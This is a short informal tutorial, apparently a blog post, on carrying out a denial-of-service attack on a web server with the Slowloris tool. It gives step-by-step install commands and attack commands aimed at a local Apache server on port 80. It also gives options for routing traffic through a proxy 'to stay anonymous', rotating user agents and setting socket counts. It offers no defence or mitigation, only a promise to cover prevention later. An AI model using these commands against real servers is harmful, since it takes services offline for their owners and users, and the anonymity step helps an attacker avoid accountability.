Basics:
In this tutorial, we will know about the dos attack.
basically, crashing a service with the help of given INPUT or traffic is called a dos attack. it can be performed on port 80(HTTP webserver).
mostly people use flood attacks(traffic). for this tutorial, I am using a tool called Slowloris.
Slowloris Installation:
I am using Linux mint instead of kali so I had to install it manually. if you have it installed already in your kali Linux, you don’t need to see this.
step.1
type this command to git clone Slowloris:
git clone https://github.com/gkbrk/slowloris
step.2
now go to the Slowrloris dir and install the setup
cd slowloris
before installing the setup we need to give it permission to execute.
chmod +x setup.py
do the same with Slowloris file
run the setup
python setup.py
step.3
now you can run the tool
python slowloris.py
ATTACK
we will attack our localhost. for this, you will need an apache server. if you don’t have it, run this command:
apt-get install apache2
now run the apache server
service apache2 start
start a basic dos attack without any safety
python slowloris 127.0.0.1 -p 80
use proxy to stay anonymous:
python slowloris 127.0.0.1 -p 80 -x --proxy-host <IP> --proxy-port <port>
use random user agents. it will request with various browser user agents :
python slowloris 127.0.0.1 -p 80 -ua
use a heavy or low amount of sockets:
python slowloris 127.0.0.1 -p 80 -s <no. of sockets>
Thanks For Visiting.
maybe, someday I will teach you prevention from this attack.
